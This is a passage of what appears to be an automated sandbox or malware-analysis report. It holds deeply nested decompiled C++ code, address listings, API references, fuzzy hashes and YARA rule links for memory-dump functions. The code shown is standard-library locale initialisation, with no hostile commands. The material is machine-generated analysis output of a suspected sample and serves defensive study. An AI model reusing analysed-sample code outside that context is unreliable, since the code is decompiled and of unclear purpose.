																																																																									 *0xb1531c();
																																																																									 *((intOrPtr*)( *((intOrPtr*)( *_t969 + 4))))();
																																																																									 *0xb45c98 = _t969;
																																																																									goto L159;
																																																																								}
																																																																							} else {
																																																																								_t969 = _t993;
																																																																								goto L159;
																																																																							}
																																																																						}
																																																																					} else {
																																																																						_t968 = _v16;
																																																																						_v16 = _t968;
																																																																						_v4 = 1;
																																																																						E00AC70E1(__eflags, _t968);
																																																																						 *0xb1531c();
																																																																						 *((intOrPtr*)( *((intOrPtr*)( *_t968 + 4))))();
																																																																						 *0xb45c60 = _t968;
																																																																						goto L152;
																																																																					}
																																																																				} else {
																																																																					_t968 = _t992;
																																																																					goto L152;
																																																																				}
																																																																			}
																																																																		} else {
																																																																			_t967 = _v16;
																																																																			_v16 = _t967;
																																																																			_v4 = 1;
																																																																			E00AC70E1(__eflags, _t967);
																																																																			 *0xb1531c();
																																																																			 *((intOrPtr*)( *((intOrPtr*)( *_t967 + 4))))();
																																																																			 *0xb45c94 = _t967;
																																																																			goto L145;
																																																																		}
																																																																	} else {
																																																																		_t967 = _t991;
																																																																		goto L145;
																																																																	}
																																																																}
																																																															} else {
																																																																_t966 = _v16;
																																																																_v16 = _t966;
																																																																_v4 = 1;
																																																																E00AC70E1(__eflags, _t966);
																																																																 *0xb1531c();
																																																																 *((intOrPtr*)( *((intOrPtr*)( *_t966 + 4))))();
																																																																 *0xb45c44 = _t966;
																																																																goto L138;
																																																															}
																																																														} else {
																																																															_t966 = _t990;
																																																															goto L138;
																																																														}
																																																													}
																																																												} else {
																																																													_t965 = _v16;
																																																													_v16 = _t965;
																																																													_v4 = 1;
																																																													E00AC70E1(__eflags, _t965);
																																																													 *0xb1531c();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t965 + 4))))();
																																																													 *0xb45c78 = _t965;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t965 = _t989;
																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t964 = _v16;
																																																										_v16 = _t964;
																																																										_v4 = 1;
																																																										E00AC70E1(__eflags, _t964);
																																																										 *0xb1531c();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t964 + 4))))();
																																																										 *0xb45c40 = _t964;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t964 = _t988;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t963 = _v16;
																																																							_v16 = _t963;
																																																							_v4 = 1;
																																																							E00AC70E1(__eflags, _t963);
																																																							 *0xb1531c();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t963 + 4))))();
																																																							 *0xb45c74 = _t963;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t963 = _t987;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t962 = _v16;
																																																				_v16 = _t962;
																																																				_v4 = 1;
																																																				E00AC70E1(__eflags, _t962);
																																																				 *0xb1531c();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t962 + 4))))();
																																																				 *0xb45c3c = _t962;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t962 = _t986;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t961 = _v16;
																																																	_v16 = _t961;
																																																	_v4 = 1;
																																																	E00AC70E1(__eflags, _t961);
																																																	 *0xb1531c();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t961 + 4))))();
																																																	 *0xb45c70 = _t961;
																																																	goto L103;
																																																}
																																															} else {
																																																_t961 = _t985;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t960 = _v16;
																																														_v16 = _t960;
																																														_v4 = 1;
																																														E00AC70E1(__eflags, _t960);
																																														 *0xb1531c();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t960 + 4))))();
																																														 *0xb45c58 = _t960;
																																														goto L96;
																																													}
																																												} else {
																																													_t960 = _t984;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t959 = _v16;
																																											_v16 = _t959;
																																											_v4 = 1;
																																											E00AC70E1(__eflags, _t959);
																																											 *0xb1531c();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t959 + 4))))();
																																											 *0xb45c5c = _t959;
																																											goto L89;
																																										}
																																									} else {
																																										_t959 = _t983;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t958 = _v16;
																																								_v16 = _t958;
																																								_v4 = 1;
																																								E00AC70E1(__eflags, _t958);
																																								 *0xb1531c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t958 + 4))))();
																																								 *0xb45c8c = _t958;
																																								goto L82;
																																							}
																																						} else {
																																							_t958 = _t982;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t957 = _v16;
																																					_v16 = _t957;
																																					_v4 = 1;
																																					E00AC70E1(__eflags, _t957);
																																					 *0xb1531c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t957 + 4))))();
																																					 *0xb45c90 = _t957;
																																					goto L75;
																																				}
																																			} else {
																																				_t957 = _t981;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t956 = _v16;
																																		_v16 = _t956;
																																		_v4 = 1;
																																		E00AC70E1(__eflags, _t956);
																																		 *0xb1531c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t956 + 4))))();
																																		 *0xb45c54 = _t956;
																																		goto L68;
																																	}
																																} else {
																																	_t956 = _t980;
																																	goto L68;
																																}
																															}
																														} else {
																															_t955 = _v16;
																															_v16 = _t955;
																															_v4 = 1;
																															E00AC70E1(__eflags, _t955);
																															 *0xb1531c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t955 + 4))))();
																															 *0xb45c88 = _t955;
																															goto L61;
																														}
																													} else {
																														_t955 = _t979;
																														goto L61;
																													}
																												}
																											} else {
																												_t954 = _v16;
																												_v16 = _t954;
																												_v4 = 1;
																												E00AC70E1(__eflags, _t954);
																												 *0xb1531c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t954 + 4))))();
																												 *0xb45c50 = _t954;
																												goto L54;
																											}
																										} else {
																											_t954 = _t978;
																											goto L54;
																										}
																									}
																								} else {
																									_t953 = _v16;
																									_v16 = _t953;
																									_v4 = 1;
																									E00AC70E1(__eflags, _t953);
																									 *0xb1531c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t953 + 4))))();
																									 *0xb45c84 = _t953;
																									goto L47;
																								}
																							} else {
																								_t953 = _t977;
																								goto L47;
																							}
																						}
																					} else {
																						_t952 = _v16;
																						_v16 = _t952;
																						_v4 = 1;
																						E00AC70E1(__eflags, _t952);
																						 *0xb1531c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t952 + 4))))();
																						 *0xb45c4c = _t952;
																						goto L40;
																					}
																				} else {
																					_t952 = _t976;
																					goto L40;
																				}
																			}
																		} else {
																			_t951 = _v16;
																			_v16 = _t951;
																			_v4 = 1;
																			E00AC70E1(__eflags, _t951);
																			 *0xb1531c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t951 + 4))))();
																			 *0xb45c80 = _t951;
																			goto L33;
																		}
																	} else {
																		_t951 = _t975;
																		goto L33;
																	}
																}
															} else {
																_t950 = _v16;
																_v16 = _t950;
																_v4 = 1;
																E00AC70E1(__eflags, _t950);
																 *0xb1531c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t950 + 4))))();
																 *0xb45c38 = _t950;
																goto L26;
															}
														} else {
															_t950 = _t974;
															goto L26;
														}
													}
												} else {
													_t949 = _v16;
													_v16 = _t949;
													_v4 = 1;
													E00AC70E1(__eflags, _t949);
													 *0xb1531c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t949 + 4))))();
													 *0xb45c6c = _t949;
													goto L19;
												}
											} else {
												_t949 = _t973;
												goto L19;
											}
										}
									} else {
										_t948 = _v16;
										_v16 = _t948;
										_v4 = 1;
										E00AC70E1(__eflags, _t948);
										 *0xb1531c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t948 + 4))))();
										 *0xb45c48 = _t948;
										goto L12;
									}
								} else {
									_t948 = _t972;
									goto L12;
								}
							}
						} else {
							_t947 = _v16;
							_v16 = _t947;
							_v4 = 1;
							E00AC70E1(__eflags, _t947);
							 *0xb1531c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t947 + 4))))();
							 *0xb45c7c = _t947;
							goto L5;
						}
					} else {
						_t947 = _t971;
						goto L5;
					}
				}
			}

0x00ac9211
0x00ac9211
0x00ac9218
0x00ac9222
0x00ac9227
0x00ac9232
0x00ac9236
0x00ac9239
0x00ac923e
0x00ac9247
0x00ac924b
0x00ac9290
0x00ac9293
0x00ac929a
0x00ac929f
0x00ac924d
0x00ac924f
0x00ac9255
0x00ac925b
0x00ac9263
0x00ac9266
0x00ac92a3
0x00ac92b1
0x00ac92b6
0x00ac92b7
0x00ac92be
0x00ac92c8
0x00ac92cd
0x00ac92d8
0x00ac92dc
0x00ac92df
0x00ac92e4
0x00ac92ed
0x00ac92ef
0x00ac92f1
0x00ac9336
0x00ac9339
0x00ac9340
0x00ac9345
0x00ac92f3
0x00ac92f3
0x00ac92f5
0x00ac92fb
0x00ac9301
0x00ac9309
0x00ac930c
0x00ac9349
0x00ac9357
0x00ac935c
0x00ac935d
0x00ac9364
0x00ac936e
0x00ac9373
0x00ac937e
0x00ac9382
0x00ac9385
0x00ac938a
0x00ac9393
0x00ac9395
0x00ac9397
0x00ac93dc
0x00ac93df
0x00ac93e6
0x00ac93eb
0x00ac9399
0x00ac9399
0x00ac939b
0x00ac93a1
0x00ac93a7
0x00ac93af
0x00ac93b2
0x00ac93ef
0x00ac93fd
0x00ac9402
0x00ac9403
0x00ac940a
0x00ac9414
0x00ac9419
0x00ac9424
0x00ac9428
0x00ac942b
0x00ac9430
0x00ac9439
0x00ac943b
0x00ac943d
0x00ac9482
0x00ac9485
0x00ac948c
0x00ac9491
0x00ac943f
0x00ac943f
0x00ac9441
0x00ac9447
0x00ac944d
0x00ac9455
0x00ac9458
0x00ac9495
0x00ac94a3
0x00ac94a8
0x00ac94a9
0x00ac94b0
0x00ac94ba
0x00ac94bf
0x00ac94ca
0x00ac94ce
0x00ac94d1
0x00ac94d6
0x00ac94df
0x00ac94e1
0x00ac94e3
0x00ac9528
0x00ac952b
0x00ac9532
0x00ac9537
0x00ac94e5
0x00ac94e5
0x00ac94e7
0x00ac94ed
0x00ac94f3
0x00ac94fb
0x00ac94fe
0x00ac953b
0x00ac9549
0x00ac954e
0x00ac954f
0x00ac9556
0x00ac9560
0x00ac9565
0x00ac9570
0x00ac9574
0x00ac9577
0x00ac957c
0x00ac9585
0x00ac9587
0x00ac9589
0x00ac95ce
0x00ac95d1
0x00ac95d8
0x00ac95dd
0x00ac958b
0x00ac958b
0x00ac958d
0x00ac9593
0x00ac9599
0x00ac95a1
0x00ac95a4
0x00ac95e1
0x00ac95ef
0x00ac95f4
0x00ac95f5
0x00ac95fc
0x00ac9606
0x00ac960b
0x00ac9616
0x00ac961a
0x00ac961d
0x00ac9622
0x00ac962b
0x00ac962d
0x00ac962f
0x00ac9674
0x00ac9677
0x00ac967e
0x00ac9683
0x00ac9631
0x00ac9631
0x00ac9633
0x00ac9639
0x00ac963f
0x00ac9647
0x00ac964a
0x00ac9687
0x00ac9695
0x00ac969a
0x00ac969b
0x00ac96a2
0x00ac96ac
0x00ac96b1
0x00ac96bc
0x00ac96c0
0x00ac96c3
0x00ac96c8
0x00ac96d1
0x00ac96d3
0x00ac96d5
0x00ac971a
0x00ac971d
0x00ac9724
0x00ac9729
0x00ac96d7
0x00ac96d7
0x00ac96d9
0x00ac96df
0x00ac96e5
0x00ac96ed
0x00ac96f0
0x00ac972d
0x00ac973b
0x00ac9740
0x00ac9741
0x00ac9748
0x00ac9752
0x00ac9757
0x00ac9762
0x00ac9766
0x00ac9769
0x00ac976e
0x00ac9777
0x00ac9779
0x00ac977b
0x00ac97c0
0x00ac97c3
0x00ac97ca
0x00ac97cf
0x00ac977d
0x00ac977d
0x00ac977f
0x00ac9785
0x00ac978b
0x00ac9793
0x00ac9796
0x00ac97d3
0x00ac97e1
0x00ac97e6
0x00ac97e7
0x00ac97ee
0x00ac97f8
0x00ac97fd
0x00ac9808
0x00ac980c
0x00ac980f
0x00ac9814
0x00ac981d
0x00ac981f
0x00ac9821
0x00ac9866
0x00ac9869
0x00ac9870
0x00ac9875
0x00ac9823
0x00ac9823
0x00ac9825
0x00ac982b
0x00ac9831
0x00ac9839
0x00ac983c
0x00ac9879
0x00ac9887
0x00ac988c
0x00ac988d
0x00ac9894
0x00ac989e
0x00ac98a3
0x00ac98ae
0x00ac98b2
0x00ac98b5
0x00ac98ba
0x00ac98c3
0x00ac98c5
0x00ac98c7
0x00ac990c
0x00ac990f
0x00ac9916
0x00ac991b
0x00ac98c9
0x00ac98c9
0x00ac98cb
0x00ac98d1
0x00ac98d7
0x00ac98df
0x00ac98e2
0x00ac991f
0x00ac992d
0x00ac9932
0x00ac9933
0x00ac993a
0x00ac9944
0x00ac9949
0x00ac9954
0x00ac9958
0x00ac995b
0x00ac9960
0x00ac9969
0x00ac996b
0x00ac996d
0x00ac99b2
0x00ac99b5
0x00ac99bc
0x00ac99c1
0x00ac996f
0x00ac996f
0x00ac9971
0x00ac9977
0x00ac997d
0x00ac9985
0x00ac9988
0x00ac99c5
0x00ac99d3
0x00ac99d8
0x00ac99d9
0x00ac99e0
0x00ac99ea
0x00ac99ef
0x00ac99fa
0x00ac99fe
0x00ac9a01
0x00ac9a06
0x00ac9a0f
0x00ac9a11
0x00ac9a13
0x00ac9a58
0x00ac9a5b
0x00ac9a62
0x00ac9a67
0x00ac9a15
0x00ac9a15
0x00ac9a17
0x00ac9a1d
0x00ac9a23
0x00ac9a2b
0x00ac9a2e
0x00ac9a6b
0x00ac9a79
0x00ac9a7e
0x00ac9a7f
0x00ac9a86
0x00ac9a90
0x00ac9a95
0x00ac9aa0
0x00ac9aa4
0x00ac9aa7
0x00ac9aac
0x00ac9ab5
0x00ac9ab7
0x00ac9ab9
0x00ac9afe
0x00ac9b01
0x00ac9b08
0x00ac9b0d
0x00ac9abb
0x00ac9abb
0x00ac9abd
0x00ac9ac3
0x00ac9ac9
0x00ac9ad1
0x00ac9ad4
0x00ac9b11
0x00ac9b1f
0x00ac9b24
0x00ac9b25
0x00ac9b2c
0x00ac9b36
0x00ac9b3b
0x00ac9b46
0x00ac9b4a
0x00ac9b4d
0x00ac9b52
0x00ac9b5b
0x00ac9b5d
0x00ac9b5f
0x00ac9ba4
0x00ac9ba7
0x00ac9bae
0x00ac9bb3
0x00ac9b61
0x00ac9b61
0x00ac9b63
0x00ac9b69
0x00ac9b6f
0x00ac9b77
0x00ac9b7a
0x00ac9bb7
0x00ac9bc5
0x00ac9bca
0x00ac9bcb
0x00ac9bd2
0x00ac9bdc
0x00ac9be1
0x00ac9bec
0x00ac9bf0
0x00ac9bf3
0x00ac9bf8
0x00ac9c01
0x00ac9c03
0x00ac9c05
0x00ac9c4a
0x00ac9c4d
0x00ac9c54
0x00ac9c59
0x00ac9c07
0x00ac9c07
0x00ac9c09
0x00ac9c0f
0x00ac9c15
0x00ac9c1d
0x00ac9c20
0x00ac9c5d
0x00ac9c6b
0x00ac9c70
0x00ac9c71
0x00ac9c78
0x00ac9c82
0x00ac9c87
0x00ac9c92
0x00ac9c96
0x00ac9c99
0x00ac9c9e
0x00ac9ca7
0x00ac9ca9
0x00ac9cab
0x00ac9cf0
0x00ac9cf3
0x00ac9cfa
0x00ac9cff
0x00ac9cad
0x00ac9cad
0x00ac9caf
0x00ac9cb5
0x00ac9cbb
0x00ac9cc3
0x00ac9cc6
0x00ac9d03
0x00ac9d11
0x00ac9d16
0x00ac9d17
0x00ac9d1e
0x00ac9d28
0x00ac9d2d
0x00ac9d38
0x00ac9d3c
0x00ac9d3f
0x00ac9d44
0x00ac9d4d
0x00ac9d4f
0x00ac9d51
0x00ac9d96
0x00ac9d99
0x00ac9da0
0x00ac9da5
0x00ac9d53
0x00ac9d53
0x00ac9d55
0x00ac9d5b
0x00ac9d61
0x00ac9d69
0x00ac9d6c
0x00ac9da9
0x00ac9db7
0x00ac9dbc
0x00ac9dbd
0x00ac9dc4
0x00ac9dce
0x00ac9dd3
0x00ac9dde
0x00ac9de2
0x00ac9de5
0x00ac9dea
0x00ac9df3
0x00ac9df5
0x00ac9df7
0x00ac9e3c
0x00ac9e3f
0x00ac9e46
0x00ac9e4b
0x00ac9df9
0x00ac9df9
0x00ac9dfb
0x00ac9e01
0x00ac9e07
0x00ac9e0f
0x00ac9e12
0x00ac9e4f
0x00ac9e5d
0x00ac9e62
0x00ac9e63
0x00ac9e6a
0x00ac9e74
0x00ac9e79
0x00ac9e84
0x00ac9e88
0x00ac9e8b
0x00ac9e90
0x00ac9e99
0x00ac9e9b
0x00ac9e9d
0x00ac9ee2
0x00ac9ee5
0x00ac9eec
0x00ac9ef1
0x00ac9e9f
0x00ac9e9f
0x00ac9ea1
0x00ac9ea7
0x00ac9ead
0x00ac9eb5
0x00ac9eb8
0x00ac9ef5
0x00ac9f03
0x00ac9f08
0x00ac9f09
0x00ac9f10
0x00ac9f1a
0x00ac9f1f
0x00ac9f2a
0x00ac9f2e
0x00ac9f31
0x00ac9f36
0x00ac9f3f
0x00ac9f41
0x00ac9f43
0x00ac9f88
0x00ac9f8b
0x00ac9f92
0x00ac9f97
0x00ac9f45
0x00ac9f45
0x00ac9f47
0x00ac9f4d
0x00ac9f53
0x00ac9f5b
0x00ac9f5e
0x00ac9f9b
0x00ac9fa9
0x00ac9fae
0x00ac9faf
0x00ac9fb6
0x00ac9fc0
0x00ac9fc5
0x00ac9fd0
0x00ac9fd4
0x00ac9fd7
0x00ac9fdc
0x00ac9fe5
0x00ac9fe7
0x00ac9fe9
0x00aca02e
0x00aca031
0x00aca038
0x00aca03d
0x00ac9feb
0x00ac9feb
0x00ac9fed
0x00ac9ff3
0x00ac9ff9
0x00aca001
0x00aca004
0x00aca041
0x00aca04f
0x00aca054
0x00aca055
0x00aca05c
0x00aca066
0x00aca06b
0x00aca076
0x00aca07a
0x00aca07d
0x00aca082
0x00aca08b
0x00aca08d
0x00aca08f
0x00aca0d4
0x00aca0d7
0x00aca0de
0x00aca0e3
0x00aca091
0x00aca091
0x00aca093
0x00aca099
0x00aca09f
0x00aca0a7
0x00aca0aa
0x00aca0e7
0x00aca0f5
0x00aca0fa
0x00aca0fb
0x00aca102
0x00aca10c
0x00aca111
0x00aca11c
0x00aca120
0x00aca123
0x00aca128
0x00aca131
0x00aca133
0x00aca135
0x00aca17a
0x00aca17d
0x00aca184
0x00aca189
0x00aca137
0x00aca137
0x00aca139
0x00aca13f
0x00aca145
0x00aca14d
0x00aca150
0x00aca18a
0x00aca18d
0x00aca19b
0x00aca1a0
0x00aca1a4
0x00aca1a8
0x00aca1ac
0x00aca1ac
0x00aca1ac
0x00aca1b0
0x00aca1b7
0x00aca1ba
0x00aca1c3
0x00aca152
0x00aca152
0x00aca155
0x00aca159
0x00aca15d
0x00aca16a
0x00aca172
0x00aca174
0x00000000
0x00aca174
0x00aca13b
0x00aca13b
0x00000000
0x00aca13b
0x00aca139
0x00aca0ac
0x00aca0ac
0x00aca0af
0x00aca0b3
0x00aca0b7
0x00aca0c4
0x00aca0cc
0x00aca0ce
0x00000000
0x00aca0ce
0x00aca095
0x00aca095
0x00000000
0x00aca095
0x00aca093
0x00aca006
0x00aca006
0x00aca009
0x00aca00d
0x00aca011
0x00aca01e
0x00aca026
0x00aca028
0x00000000
0x00aca028
0x00ac9fef
0x00ac9fef
0x00000000
0x00ac9fef
0x00ac9fed
0x00ac9f60
0x00ac9f60
0x00ac9f63
0x00ac9f67
0x00ac9f6b
0x00ac9f78
0x00ac9f80
0x00ac9f82
0x00000000
0x00ac9f82
0x00ac9f49
0x00ac9f49
0x00000000
0x00ac9f49
0x00ac9f47
0x00ac9eba
0x00ac9eba
0x00ac9ebd
0x00ac9ec1
0x00ac9ec5
0x00ac9ed2
0x00ac9eda
0x00ac9edc
0x00000000
0x00ac9edc
0x00ac9ea3
0x00ac9ea3
0x00000000
0x00ac9ea3
0x00ac9ea1
0x00ac9e14
0x00ac9e14
0x00ac9e17
0x00ac9e1b
0x00ac9e1f
0x00ac9e2c
0x00ac9e34
0x00ac9e36
0x00000000
0x00ac9e36
0x00ac9dfd
0x00ac9dfd
0x00000000
0x00ac9dfd
0x00ac9dfb
0x00ac9d6e
0x00ac9d6e
0x00ac9d71
0x00ac9d75
0x00ac9d79
0x00ac9d86
0x00ac9d8e
0x00ac9d90
0x00000000
0x00ac9d90
0x00ac9d57
0x00ac9d57
0x00000000
0x00ac9d57
0x00ac9d55
0x00ac9cc8
0x00ac9cc8
0x00ac9ccb
0x00ac9ccf
0x00ac9cd3
0x00ac9ce0
0x00ac9ce8
0x00ac9cea
0x00000000
0x00ac9cea
0x00ac9cb1
0x00ac9cb1
0x00000000
0x00ac9cb1
0x00ac9caf
0x00ac9c22
0x00ac9c22
0x00ac9c25
0x00ac9c29
0x00ac9c2d
0x00ac9c3a
0x00ac9c42
0x00ac9c44
0x00000000
0x00ac9c44
0x00ac9c0b
0x00ac9c0b
0x00000000
0x00ac9c0b
0x00ac9c09
0x00ac9b7c
0x00ac9b7c
0x00ac9b7f
0x00ac9b83
0x00ac9b87
0x00ac9b94
0x00ac9b9c
0x00ac9b9e
0x00000000
0x00ac9b9e
0x00ac9b65
0x00ac9b65
0x00000000
0x00ac9b65
0x00ac9b63
0x00ac9ad6
0x00ac9ad6
0x00ac9ad9
0x00ac9add
0x00ac9ae1
0x00ac9aee
0x00ac9af6
0x00ac9af8
0x00000000
0x00ac9af8
0x00ac9abf
0x00ac9abf
0x00000000
0x00ac9abf
0x00ac9abd
0x00ac9a30
0x00ac9a30
0x00ac9a33
0x00ac9a37
0x00ac9a3b
0x00ac9a48
0x00ac9a50
0x00ac9a52
0x00000000
0x00ac9a52
0x00ac9a19
0x00ac9a19
0x00000000
0x00ac9a19
0x00ac9a17
0x00ac998a
0x00ac998a
0x00ac998d
0x00ac9991
0x00ac9995
0x00ac99a2
0x00ac99aa
0x00ac99ac
0x00000000
0x00ac99ac
0x00ac9973
0x00ac9973
0x00000000
0x00ac9973
0x00ac9971
0x00ac98e4
0x00ac98e4
0x00ac98e7
0x00ac98eb
0x00ac98ef
0x00ac98fc
0x00ac9904
0x00ac9906
0x00000000
0x00ac9906
0x00ac98cd
0x00ac98cd
0x00000000
0x00ac98cd
0x00ac98cb
0x00ac983e
0x00ac983e
0x00ac9841
0x00ac9845
0x00ac9849
0x00ac9856
0x00ac985e
0x00ac9860
0x00000000
0x00ac9860
0x00ac9827
0x00ac9827
0x00000000
0x00ac9827
0x00ac9825
0x00ac9798
0x00ac9798
0x00ac979b
0x00ac979f
0x00ac97a3
0x00ac97b0
0x00ac97b8
0x00ac97ba
0x00000000
0x00ac97ba
0x00ac9781
0x00ac9781
0x00000000
0x00ac9781
0x00ac977f
0x00ac96f2
0x00ac96f2
0x00ac96f5
0x00ac96f9
0x00ac96fd
0x00ac970a
0x00ac9712
0x00ac9714
0x00000000
0x00ac9714
0x00ac96db
0x00ac96db
0x00000000
0x00ac96db
0x00ac96d9
0x00ac964c
0x00ac964c
0x00ac964f
0x00ac9653
0x00ac9657
0x00ac9664
0x00ac966c
0x00ac966e
0x00000000
0x00ac966e
0x00ac9635
0x00ac9635
0x00000000
0x00ac9635
0x00ac9633
0x00ac95a6
0x00ac95a6
0x00ac95a9
0x00ac95ad
0x00ac95b1
0x00ac95be
0x00ac95c6
0x00ac95c8
0x00000000
0x00ac95c8
0x00ac958f
0x00ac958f
0x00000000
0x00ac958f
0x00ac958d
0x00ac9500
0x00ac9500
0x00ac9503
0x00ac9507
0x00ac950b
0x00ac9518
0x00ac9520
0x00ac9522
0x00000000
0x00ac9522
0x00ac94e9
0x00ac94e9
0x00000000
0x00ac94e9
0x00ac94e7
0x00ac945a
0x00ac945a
0x00ac945d
0x00ac9461
0x00ac9465
0x00ac9472
0x00ac947a
0x00ac947c
0x00000000
0x00ac947c
0x00ac9443
0x00ac9443
0x00000000
0x00ac9443
0x00ac9441
0x00ac93b4
0x00ac93b4
0x00ac93b7
0x00ac93bb
0x00ac93bf
0x00ac93cc
0x00ac93d4
0x00ac93d6
0x00000000
0x00ac93d6
0x00ac939d
0x00ac939d
0x00000000
0x00ac939d
0x00ac939b
0x00ac930e
0x00ac930e
0x00ac9311
0x00ac9315
0x00ac9319
0x00ac9326
0x00ac932e
0x00ac9330
0x00000000
0x00ac9330
0x00ac92f7
0x00ac92f7
0x00000000
0x00ac92f7
0x00ac92f5
0x00ac9268
0x00ac9268
0x00ac926b
0x00ac926f
0x00ac9273
0x00ac9280
0x00ac9288
0x00ac928a
0x00000000
0x00ac928a
0x00ac9251
0x00ac9251
0x00000000
0x00ac9251
0x00ac924f

APIs

__EH_prolog3.LIBCMT ref: 00AC9218
std::_Lockit::_Lockit.LIBCPMT ref: 00AC9222

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9242
collate.LIBCPMT ref: 00AC925C
std::_Facet_Register.LIBCPMT ref: 00AC9273
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9293
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC92B1

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowcollatestd::locale::_
String ID:
API String ID: 360923863-0
Opcode ID: c5389d044cc56dc983b1f2cfce4a11030e74f0eb8a9b4a9c22fae49b6e992042
Instruction ID: 7aed8b364792684a7afb06ad552a27bc3bb57c87d89463d598382e81804360b3
Opcode Fuzzy Hash: c5389d044cc56dc983b1f2cfce4a11030e74f0eb8a9b4a9c22fae49b6e992042
Instruction Fuzzy Hash: B211A076900619DBCF04EBA4C945FEEB3B5AF84310F16440DF82167292DF749A01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AC935D, Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC9364
std::_Lockit::_Lockit.LIBCPMT ref: 00AC936E

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC938E
ctype.LIBCPMT ref: 00AC93A8
std::_Facet_Register.LIBCPMT ref: 00AC93BF
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC93DF
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC93FD

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowctypestd::locale::_
String ID:
API String ID: 2696520298-0
Opcode ID: 1e032e3defff5e8bfcc1023ba79452e8e0826f0854405d85d32a79171a84496d
Instruction ID: 82bb63fd2f903f0da1f2dcfbf4096de361d7b244594105c2c4d200e7e9d52ccc
Opcode Fuzzy Hash: 1e032e3defff5e8bfcc1023ba79452e8e0826f0854405d85d32a79171a84496d
Instruction Fuzzy Hash: A411E0369106188BCF00EBA4C946FEEB7B5AF84310F16400DF8216B3D2DF709A00CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC94A9, Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC94B0
std::_Lockit::_Lockit.LIBCPMT ref: 00AC94BA

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC94DA
messages.LIBCPMT ref: 00AC94F4
std::_Facet_Register.LIBCPMT ref: 00AC950B
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC952B
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC9549

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
